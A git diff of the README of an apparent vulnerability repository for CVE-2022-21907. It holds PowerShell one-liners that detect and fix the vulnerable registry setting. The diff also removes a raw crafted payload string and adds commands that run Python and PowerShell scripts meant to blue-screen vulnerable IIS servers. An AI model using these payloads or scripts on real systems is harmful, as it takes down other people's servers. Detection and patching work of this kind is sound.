diff --git a/README.md b/README.md index f18bbb4..eacc534 100644 --- a/README.md +++ b/README.md @@ -2,11 +2,12 @@ ## Description -This repository detects a system vulnerable to `CVE-2022-21907` (**CVSS:3.1 9.8**), protects against this vulnerability if desired and exploit it with python and powershell (a payload is available). I offer 2 powershell codes in 1 line. + 1. This repository detects a system vulnerable to `CVE-2022-21907` (**CVSS:3.1 9.8**) and protects against this vulnerability if desired. I offer 2 powershell codes in 1 line. + 2. I propose a python script and powershell script to attack a vulnerable IIS Web Server (perform a DOS attack to crash (blue screen) the server). -## Codes +## Detection and protection -### Only detect +### Detect only ```powershell $ErrorActionPreference="SilentlyContinue";$_=($(Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport).EnableTrailerSupport -or $(Write-Host "Not vulnerable to CVE-2022-2190")) -and $(Write-Host "$env:computername vulnerable to CVE-2022-2190 !") @@ -16,9 +17,9 @@ $ErrorActionPreference="SilentlyContinue";$_=($(Get-ItemProperty -Path HKLM:\Sys $ErrorActionPreference="SilentlyContinue";$key=Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport;if($key -AND $key.EnableTrailerSupport -ne 0){echo "$env:computername vulnerable to CVE-2022-2190 !"}else{echo "Not vulnerable to CVE-2022-2190"} ``` -### With protection +### Detect and protect -Run these scripts **as administrator** to protect your computer/server. +Run this powershell line **as administrator** to protect your computer/server. ```powershell $ErrorActionPreference="SilentlyContinue";$_=($(Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport).EnableTrailerSupport -or $(Write-Host "Not vulnerable to CVE-2022-2190")) -and ($(Write-Host "$env:computername vulnerable to CVE-2022-2190 ! Change EnableTrailerSupport value to 0") -or $(Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport -Value 0)) @@ -28,10 +29,22 @@ $ErrorActionPreference="SilentlyContinue";$_=($(Get-ItemProperty -Path HKLM:\Sys $ErrorActionPreference="SilentlyContinue";$key=Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport;if($key -AND $key.EnableTrailerSupport -ne 0){echo "$env:computername vulnerable to CVE-2022-2190 ! Change EnableTrailerSupport value to 0";Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport -Value 0}else{echo "Not vulnerable to CVE-2022-2190"} ``` -## Exploit +## Hack: DOS - BlueScreen -```text -AAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&AA&**AAAAAAAAAAAAAAAAAAAA**A,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAA,****************************AAAAAA, *, , +[![DOS attack with powershell](https://img.youtube.com/vi/kaZrfpsh3ds/0.jpg "DOS attack with powershell")](https://www.youtube.com/watch?v=kaZrfpsh3ds) + +### Python + +```bash +python3 CVE202221907.py +# OR +./CVE202221907.py +``` + +### Powershell + +```powershell +powershell CVE-2022-21907.ps1 ``` ## Sources